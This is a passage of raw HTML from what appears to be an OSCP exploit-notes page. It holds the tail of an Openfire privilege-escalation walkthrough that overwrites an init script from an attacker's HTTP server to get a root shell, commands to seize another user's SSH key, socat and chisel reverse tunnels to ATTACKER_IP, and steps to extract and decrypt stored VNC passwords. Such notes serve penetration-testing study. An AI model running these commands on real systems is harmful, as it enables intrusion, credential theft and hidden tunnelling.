class="cl"&gt;stop&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;sleep 10 # give it a few moments to shut down&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;start&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;}&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;condrestart() {&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;[ -e &amp;#34;/var/lock/subsys/openfire&amp;#34; ] &amp;amp;&amp;amp; restart&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;return 0&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;}&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;status() {&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;PID=$(findPID)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;if [ -n &amp;#34;$PID&amp;#34; ]; then&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;echo &amp;#34;openfire is running&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;RETVAL=0&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;else&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;echo &amp;#34;openfire is not running&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;RETVAL=1&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;fi&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;}&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;findPID() {&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;echo `ps ax --width=1000 | grep openfire | grep startup.jar | awk &amp;#39;{print $1}&amp;#39;`&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;}&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Handle how we were called.&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;case &amp;#34;$1&amp;#34; in&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;start)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;start&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;;;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;stop)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;stop&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;;;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;restart)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;restart&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;;;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;condrestart)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;condrestart&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;;;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;reload)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;restart&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;;;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;status)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;status&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;;;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;*)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;echo &amp;#34;Usage $0 {start|stop|restart|status|condrestart|reload}&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;RETVAL=1&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;esac&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;exit $RETVAL&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;Save this file locally, for example as &lt;code&gt;openfire.txt&lt;/code&gt;. Next, overwrite &lt;code&gt;/etc/init.d/openfire&lt;/code&gt;.&lt;/p&gt;&#10;&lt;p&gt;@call abc -o /tmp/dummy -o /etc/init.d/openfire -X GET http://192.168.96.128/openfire.txt -o /tmp/dummy&lt;/p&gt;&#10;&lt;p&gt;All you need to do is start an HTTP server.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/oscp-exploit-notes/image-0018.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/oscp-exploit-notes/image-0019.zh.gif" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Then enter the command above in the chat window. It will download the file and overwrite the Openfire script.&lt;/p&gt;&#10;&lt;p&gt;The only thing left is to restart the service. I&amp;rsquo;ll describe the route I took, because even the blog never explained where to do this; I had to feel my way through it. Remember to listen on the port specified in the exploit above.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/oscp-exploit-notes/image-0020.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/oscp-exploit-notes/image-0021.zh.gif" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/oscp-exploit-notes/image-0022.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/oscp-exploit-notes/image-0023.zh.gif" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;That makes this a pretty detailed walkthrough. Some people on Discord said this was an interesting box, and I agree—though naturally it only felt interesting after I had finished it. After the restart, wait a little while and the root shell should come in.&lt;/p&gt;&#10;&lt;h3 id="80tcpdump"&gt;&lt;a href="#80tcpdump" class="header-anchor"&gt;&lt;/a&gt;80.tcpdump&#10;&lt;/h3&gt;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;tcpdump -i any udp -w capture.pcap&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;h3 id="81bsd"&gt;&lt;a href="#81bsd" class="header-anchor"&gt;&lt;/a&gt;81.BSD&#10;&lt;/h3&gt;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;This directory traditionally stores home directories for temporary or guest users&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;/usr/guest/&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;h3 id="82windows-command-line"&gt;&lt;a href="#82windows-command-line" class="header-anchor"&gt;&lt;/a&gt;82.Windows Command Line&#10;&lt;/h3&gt;&lt;p&gt;Permissions&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;span class="lnt"&gt;4&#10;&lt;/span&gt;&lt;span class="lnt"&gt;5&#10;&lt;/span&gt;&lt;span class="lnt"&gt;6&#10;&lt;/span&gt;&lt;span class="lnt"&gt;7&#10;&lt;/span&gt;&lt;span class="lnt"&gt;8&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;First, take ownership of the file:&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;takeown /f &amp;#34;C:\Users\k.smith\.ssh\id_rsa&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Modify file permissions to gain full control:&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;icacls &amp;#34;C:\Users\k.smith\.ssh\id_rsa&amp;#34; /grant Administrators:F&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Force the permission change:&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;cacls &amp;#34;C:\Users\k.smith\.ssh\id_rsa&amp;#34; /E /P Administrators:F&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;h3 id="83socat"&gt;&lt;a href="#83socat" class="header-anchor"&gt;&lt;/a&gt;83.socat&#10;&lt;/h3&gt;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt; 1&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 2&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 3&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 4&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 5&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 6&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 7&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 8&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 9&#10;&lt;/span&gt;&lt;span class="lnt"&gt;10&#10;&lt;/span&gt;&lt;span class="lnt"&gt;11&#10;&lt;/span&gt;&lt;span class="lnt"&gt;12&#10;&lt;/span&gt;&lt;span class="lnt"&gt;13&#10;&lt;/span&gt;&lt;span class="lnt"&gt;14&#10;&lt;/span&gt;&lt;span class="lnt"&gt;15&#10;&lt;/span&gt;&lt;span class="lnt"&gt;16&#10;&lt;/span&gt;&lt;span class="lnt"&gt;17&#10;&lt;/span&gt;&lt;span class="lnt"&gt;18&#10;&lt;/span&gt;&lt;span class="lnt"&gt;19&#10;&lt;/span&gt;&lt;span class="lnt"&gt;20&#10;&lt;/span&gt;&lt;span class="lnt"&gt;21&#10;&lt;/span&gt;&lt;span class="lnt"&gt;22&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Use a more verbose listener command:&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;bashCopysocat -v UNIX-LISTEN:/tmp/s,fork STDOUT&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Or try logging the communication:&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;bashCopysocat -v UNIX-LISTEN:/tmp/s,fork &amp;#34;SYSTEM:tee /tmp/socat.log&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;You can also try interacting with it:&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;bashCopy# Listen and display all received data in hexadecimal&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;socat -x UNIX-LISTEN:/tmp/s,fork STDOUT&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Expose a local port through a proxy&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# On the target machine, forward local port 8888 to port 33333 on 0.0.0.0&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;socat TCP-LISTEN:33333,fork TCP:127.0.0.1:8888&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Create a reverse tunnel&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# On the attacker machine:&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;socat TCP-LISTEN:33333,reuseaddr,fork TCP-LISTEN:8888,reuseaddr,bind=localhost&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# On the attacker machine:&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;socat TCP:ATTACKER_IP:33333 TCP:127.0.0.1:8888&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;h3 id="84vnc-passwords"&gt;&lt;a href="#84vnc-passwords" class="header-anchor"&gt;&lt;/a&gt;84.VNC Passwords&#10;&lt;/h3&gt;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt; 1&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 2&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 3&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 4&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 5&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 6&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 7&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 8&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 9&#10;&lt;/span&gt;&lt;span class="lnt"&gt;10&#10;&lt;/span&gt;&lt;span class="lnt"&gt;11&#10;&lt;/span&gt;&lt;span class="lnt"&gt;12&#10;&lt;/span&gt;&lt;span class="lnt"&gt;13&#10;&lt;/span&gt;&lt;span class="lnt"&gt;14&#10;&lt;/span&gt;&lt;span class="lnt"&gt;15&#10;&lt;/span&gt;&lt;span class="lnt"&gt;16&#10;&lt;/span&gt;&lt;span class="lnt"&gt;17&#10;&lt;/span&gt;&lt;span class="lnt"&gt;18&#10;&lt;/span&gt;&lt;span class="lnt"&gt;19&#10;&lt;/span&gt;&lt;span class="lnt"&gt;20&#10;&lt;/span&gt;&lt;span class="lnt"&gt;21&#10;&lt;/span&gt;&lt;span class="lnt"&gt;22&#10;&lt;/span&gt;&lt;span class="lnt"&gt;23&#10;&lt;/span&gt;&lt;span class="lnt"&gt;24&#10;&lt;/span&gt;&lt;span class="lnt"&gt;25&#10;&lt;/span&gt;&lt;span class="lnt"&gt;26&#10;&lt;/span&gt;&lt;span class="lnt"&gt;27&#10;&lt;/span&gt;&lt;span class="lnt"&gt;28&#10;&lt;/span&gt;&lt;span class="lnt"&gt;29&#10;&lt;/span&gt;&lt;span class="lnt"&gt;30&#10;&lt;/span&gt;&lt;span class="lnt"&gt;31&#10;&lt;/span&gt;&lt;span class="lnt"&gt;32&#10;&lt;/span&gt;&lt;span class="lnt"&gt;33&#10;&lt;/span&gt;&lt;span class="lnt"&gt;34&#10;&lt;/span&gt;&lt;span class="lnt"&gt;35&#10;&lt;/span&gt;&lt;span class="lnt"&gt;36&#10;&lt;/span&gt;&lt;span class="lnt"&gt;37&#10;&lt;/span&gt;&lt;span class="lnt"&gt;38&#10;&lt;/span&gt;&lt;span class="lnt"&gt;39&#10;&lt;/span&gt;&lt;span class="lnt"&gt;40&#10;&lt;/span&gt;&lt;span class="lnt"&gt;41&#10;&lt;/span&gt;&lt;span class="lnt"&gt;42&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;https://www.cnblogs.com/fczlm/p/17759610.html&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;VNC password&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Configuration path: c:\Program Files\uvnc bvba\UltraVNC\ultravnc.ini; decryption tool: https://github.com/jeroennijhof/vncpwd&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;TightVNC&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;The encrypted TightVNC password is stored in the registry and requires administrator privileges&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;reg query HKEY_LOCAL_MACHINE\SOFTWARE\TightVNC\Server /v ControlPassword&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;reg query HKEY_LOCAL_MACHINE\SOFTWARE\TightVNC\Server /v password&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;reg query HKEY_LOCAL_MACHINE\SOFTWARE\TightVNC\Server /v RfbPort&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Decryption tool: https://github.com/jeroennijhof/vncpwd&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;RealVNC&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;The encrypted RealVNC password is stored in the registry and requires administrator privileges.&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;reg query HKEY_LOCAL_MACHINE\SOFTWARE\RealVNC\vncserver /v password&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Decryption tool: https://github.com/jeroennijhof/vncpwd&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;First, create a file containing the raw hexadecimal data:&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;bashCopy# Use xxd to create a binary file&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;echo &amp;#34;BFE825DE515A335BE3&amp;#34; | xxd -r -p &amp;gt; vnc.txt&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Then try to decrypt it&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;./vncpwd vnc.txt&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Or try the MSF method:&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;msfconsole&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;irb&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;fixedkey = &amp;#34;\x17\x52\x6b\x06\x23\x4e\x58\x07&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;require &amp;#39;rex/proto/rfb&amp;#39;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Rex::Proto::RFB::Cipher.decrypt(&amp;#34;BFE825DE515A335BE3&amp;#34;, fixedkey)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Or try another version of vncpwd:&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;bashCopygit clone https://github.com/gitdurandal/vncpwd.git&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;cd vncpwd&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;make&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;./vncpwd BFE825DE515A335BE3&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;vncviewer 192.168.214.220:5900&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Enter password: R3S3+rcH&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;h3 id="85chisel"&gt;&lt;a href="#85chisel" class="header-anchor"&gt;&lt;/a&gt;85.chisel&#10;&lt;/h3&gt;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt; 1&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 2&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 3&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 4&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 5&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 6&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 7&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 8&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 9&#10;&lt;/span&gt;&lt;span class="lnt"&gt;10&#10;&lt;/span&gt;&lt;span class="lnt"&gt;11&#10;&lt;/span&gt;&lt;span class="lnt"&gt;12&#10;&lt;/span&gt;&lt;span class="lnt"&gt;13&#10;&lt;/span&gt;&lt;span class="lnt"&gt;14&#10;&lt;/span&gt;&lt;span class="lnt"&gt;15&#10;&lt;/span&gt;&lt;span class="lnt"&gt;16&#10;&lt;/span&gt;&lt;span class="lnt"&gt;17&#10;&lt;/span&gt;&lt;span class="lnt"&gt;18&#10;&lt;/span&gt;&lt;span class="lnt"&gt;19&#10;&lt;/span&gt;&lt;span class="lnt"&gt;20&#10;&lt;/span&gt;&lt;span class="lnt"&gt;21&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Server listener (attacker machine)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Basic server syntax&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;./chisel server --reverse -p 8000&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Client connection (target machine)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Basic connection&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;./chisel client ATTACKER_IP:8000 R:LOCAL_LISTEN_PORT:TARGET_IP:TARGET_PORT&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Common command examples:&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Reverse-proxy a single port&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Server&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;./chisel server --reverse -p 8000&#10;&lt;/span&gt;&lt;/span&gt;&lt;span 